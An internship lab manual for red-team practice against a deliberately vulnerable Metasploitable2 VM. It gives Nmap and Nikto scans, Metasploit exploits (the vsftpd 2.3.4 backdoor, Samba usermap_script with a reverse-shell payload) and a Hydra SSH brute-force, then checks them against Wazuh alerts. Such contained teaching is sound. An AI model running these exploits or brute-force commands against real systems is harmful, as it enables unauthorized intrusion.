

SECURE DEV LABS

INTERNSHIP TASK 01

Red Team Fundamentals — Reconnaissance, Scanning & Basic Exploitation in an Isolated Lab

Instructor : Arshman Abbas

PART 1: PURPOSE & SCOPE OF THIS TASK

Task 1 built your virtual lab: VMware Workstation as the hypervisor, Kali Linux as the attacker (Red Team) machine, and Wazuh as the SIEM (Blue Team) monitor. Task 2 uses that same lab to practice the core Red Team workflow — reconnaissance, scanning, vulnerability identification, and controlled exploitation — against a deliberately vulnerable target that you own and control.

Every action in this manual must be performed only inside the isolated 192.168.100.0/24 lab network created in Task 1, against machines you built for this purpose. Running these tools against any system you do not own or have written authorization to test is illegal in most jurisdictions.

SCOPE: Everything below assumes the target is a purpose-built vulnerable VM (e.g. Metasploitable2) running on the same NAT/Host-Only network as Kali. Do not point these tools at your real LAN, the internet, or production systems.

1.1 The Red Team Workflow

Professional offensive engagements follow a repeatable methodology. This task covers the first four stages; later tasks will build on post-exploitation and reporting.

Stage	Goal	Tools Used in This Task
1. Reconnaissance	Identify live hosts and open services	Nmap (host/port discovery)
2. Scanning & Enumeration	Fingerprint services, OS, and versions	Nmap (-sV, -O), Nikto
3. Vulnerability Analysis	Match versions to known weaknesses	searchsploit, OpenVAS (optional)
4. Exploitation	Gain access using a matched exploit	Metasploit Framework
5. Post-Exploitation	Covered in Task 3	—
6. Reporting	Document findings for the client/blue team	Notes + Wazuh cross-reference

1.2 Why Attack Your Own Lab?

- Muscle memory: repetition of the recon → exploit workflow builds speed and confidence.
- Safe failure: a vulnerable VM can be broken and snapshotted back to clean in seconds.
- Blue Team correlation: every action here should also appear as an event in the Wazuh Dashboard from Task 1 — this is how you learn to think like both attacker and defender.
- Legal, contained practice: nothing here touches a network you don't own.

PART 2: PREREQUISITES

2.1 What You Need Before Starting

Requirement	Status Needed	Source
Kali Linux VM	Installed, updated, snapshotted (Task 1)	Task 1, Part 4
Wazuh SIEM VM	Running, agent installed on Kali (Task 1)	Task 1, Part 5–6
Vulnerable target VM	New for this task — see 2.2 below	Rapid7 / SourceForge

Requirement	Status Needed	Source
NAT network 192.168.100.0/24	Configured (Task 1)	Task 1, Section 3.3

2.2 Download the Vulnerable Target — Metasploitable2

Metasploitable2 is an intentionally vulnerable Ubuntu-based VM built by Rapid7 specifically for practicing exploitation in a legal, safe environment. It ships with outdated services (vsftpd, Samba, distcc, MySQL, Tomcat, etc.) that have well-documented public exploits.

- Official download (SourceForge, hosted by Rapid7):
<https://sourceforge.net/projects/metasploitable/files/Metasploitable2/>
- Alternative: OWASP Broken Web Apps VM, for web-specific exercises:
<https://sourceforge.net/projects/owaspbwa/>

WARNING: Metasploitable2 has NO login banner warning and a blank/weak root password by design. Never expose it to a real network or the internet. Keep its network adapter set to NAT (VMnet8) or Host-Only only.

2.3 Import & Configure the Target VM

1. Extract the downloaded .zip — it contains a .vmdk virtual disk.
2. In VMware Workstation: File > New Virtual Machine > I will install the operating system later > Linux > Ubuntu (64-bit).
3. On the hard disk step, choose "Use an existing virtual disk" and select the extracted Metasploitable.vmdk.
4. Name the VM "Metasploitable2", set Memory to 512 MB (1024 MB is fine too — it is a lightweight VM).
5. Set the Network Adapter to NAT (same VMnet8 network as Kali and Wazuh).
6. Power on the VM. Log in at the console with username msfadmin and password msfadmin (default credentials — this is intentional).
7. Run `ip addr show` to note its IP address — it should be in the 192.168.100.0/24 range, e.g. 192.168.100.40.
8. Take a snapshot immediately and label it "Clean Target" so you can always restore it after breaking it.

VM	IP Address	Role
Kali Linux	192.168.100.10	Attacker / Red Team
Wazuh OVA	192.168.100.20	SIEM / Blue Team Monitor
Metasploitable2	192.168.100.40	Vulnerable Target

PART 3: RECONNAISSANCE & HOST DISCOVERY

Reconnaissance answers one question: what is alive on this network, and what is it running? Always start here — never jump straight to exploitation.

3.1 Host Discovery

```
# Sweep the lab subnet to find live hosts
nmap -sn 192.168.100.0/24

# Confirm the target responds
ping -c 4 192.168.100.40
```

3.2 Port & Service Scanning

```
# Full TCP port scan with service/version detection
nmap -sS -sV -p- -T4 192.168.100.40 -oN nmap_full_scan.txt

# OS fingerprinting (requires sudo)
sudo nmap -O 192.168.100.40

# Fast top-1000-ports scan if a quick look is enough
nmap -sV --top-ports 1000 192.168.100.40
```

TIP: Save scan output with -oN (or -oX for XML) every time. You will need it later for the report and for comparing against what Wazuh logged.

3.3 Web & Service Enumeration

Metasploitable2 exposes several web services. Enumerate each one that Nmap reports as open.

```
# Web server enumeration
nikto -h http://192.168.100.40

# SMB/Samba enumeration
smbclient -L //192.168.100.40 -N
enum4linux -a 192.168.100.40

# FTP banner grab
nc -nv 192.168.100.40 21
```

3.4 Recording Recon Results

Keep a simple findings table as you go. This becomes the backbone of your report in Part 6.

Port	Service	Version (from -sV)	Notes
21	FTP	vsftpd 2.3.4	Known backdoor exploit — see Part 5
22	SSH	OpenSSH 4.7p1	Weak/default creds possible
80	HTTP	Apache 2.2.8	Check for known web vulns
139/445	SMB	Samba 3.0.20	Legacy exploit available
3306	MySQL	5.0.51a	Default/no root password

PART 4: VULNERABILITY ANALYSIS

Once you know the exact service and version, match it against known vulnerabilities before attempting exploitation.

4.1 Searching for Known Exploits

```
# searchsploit ships with Kali and searches Exploit-DB offline
searchsploit vsftpd 2.3.4
searchsploit Samba 3.0.20
searchsploit Apache 2.2.8
```

4.2 Optional: OpenVAS / Greenbone Vulnerability Scan

For a more automated CVE match, Kali can run OpenVAS (Greenbone Vulnerability Manager). This is optional for Task 2 but recommended if your host has enough RAM (4 GB+ free).

```
sudo apt install gvm -y
sudo gvm-setup
```

```
sudo gvm-start
# Access the web UI at https://127.0.0.1:9392 and run a Full and Fast scan against
192.168.100.40
```

PART 5: CONTROLLED EXPLOITATION WITH METASPLOIT

SCOPE REMINDER: Every exploit below targets Metasploitable2's intentionally vulnerable services. Do not attempt these commands against any other host.

5.1 Launching Metasploit

```
msfconsole
# Inside msfconsole:
banner
search vsftpd
```

5.2 Example 1 — vsftpd 2.3.4 Backdoor

This version of vsftpd shipped with a known, intentionally-planted backdoor that opens a shell on port 6200 when triggered.

```
use exploit/unix/ftp/vsftpd_234_backdoor
set RHOSTS 192.168.100.40
run
# On success you land in a root shell – confirm with:
whoami
id
```

5.3 Example 2 — Samba usermap_script

```
use exploit/multi/samba/usermap_script
set RHOSTS 192.168.100.40
set PAYLOAD cmd/unix/reverse
set LHOST 192.168.100.10
run
```

5.4 Example 3 — Basic Brute-Force with Hydra

Not every route in is an exploit — weak credentials are one of the most common real-world entry points. Practice a contained brute-force against the lab target's SSH service using a small wordlist.

```
hydra -l msfadmin -P /usr/share/wordlists/rockyou.txt ssh://192.168.100.40
```

WARNING: Only run brute-force tools against lab machines you built. Even a small wordlist can generate thousands of authentication attempts, which is exactly the kind of activity your Wazuh SIEM should detect (see Part 6).

5.5 After Gaining Access

- Take a screenshot of the shell / whoami output for your checklist.
 - Do not delete, modify, or exfiltrate any data beyond what's needed to prove access.
 - Immediately note the timestamp — you will cross-reference it against Wazuh's Security Events.
 - When finished, revert the Metasploitable2 VM to the "Clean Target" snapshot before repeating exercises.
-

PART 6: CROSS-REFERENCE WITH THE BLUE TEAM (WAZUH)

This is the step that ties Task 1 and Task 2 together. Every scan and exploitation attempt above should leave a trace that the SIEM can see — if you also install a Wazuh agent on the Metasploitable2 target, or simply monitor Kali's own outbound activity.

9. Open the Wazuh Dashboard (<https://192.168.100.20>) in a browser.
10. Go to Security Events and filter by the timestamp of your Nmap scan or Metasploit exploit.
11. Look for port-scan alerts, authentication-failure alerts (from the Hydra brute-force), or anomaly rules that fired.
12. Record which of your Red Team actions were detected and which were not — this gap is the most valuable learning outcome of the exercise.

TIP: If you did not install a Wazuh agent on Metasploitable2, you can still observe Kali's own agent logging the tool executions and outbound connections it made.

PART 7: TROUBLESHOOTING GUIDE

Problem	Likely Cause	Solution
Nmap shows all ports filtered	Target VM not on same NAT network	Check both VMs use VMnet8; verify with ping
Metasploit exploit fails to connect	Wrong RHOSTS/LHOST or target snapshot reverted	Re-check target IP with <code>ip addr show</code> on the target
Hydra runs very slowly	Large wordlist / low thread count	Use a small custom wordlist for lab practice, add <code>-t 4</code>
No events appear in Wazuh	Agent not installed on target, or clock drift	Confirm agent status; sync VM clocks
Target VM won't boot	Corrupted download or insufficient RAM	Re-download the .vmdk; ensure 512 MB+ RAM allocated

PART 8: REFERENCE LINKS

- Metasploitable2 download (Rapid7 / SourceForge): <https://sourceforge.net/projects/metasploitable/files/Metasploitable2/>
 - Metasploit Unleashed (free course): <https://www.offsec.com/metasploit-unleashed/>
 - Nmap reference guide: <https://nmap.org/book/man.html>
 - Exploit-DB / searchsploit: <https://www.exploit-db.com/>
 - Wazuh rules & alerting reference: <https://documentation.wazuh.com/current/user-manual/ruleset/index.html>
 - OWASP Testing Guide (for later web-focused tasks): <https://owasp.org/www-project-web-security-testing-guide/>
-

PART 9: TASK 1 COMPLETION CHECKLIST

Submit a screenshot for each item to your instructor, same as Task 1.

#	Deliverable	Screenshot Required
1	Metasploitable2 imported, boots, IP noted	Console showing login + ip addr show
2	"Clean Target" snapshot taken	VMware Snapshot Manager
3	Full Nmap scan completed and saved	Terminal output of nmap -sV -p-
4	Nikto / SMB / FTP enumeration run	Terminal output for each tool
5	Findings table completed (Part 3.4)	Your notes or spreadsheet
6	searchsploit results for at least 2 services	Terminal output
7	One successful Metasploit exploit executed	msfconsole session with whoami/id
8	Hydra brute-force demo run against SSH	Terminal output
9	Matching event(s) located in Wazuh Dashboard	Wazuh Security Events screenshot
10	Target VM reverted to clean snapshot after testing	VMware snapshot confirmation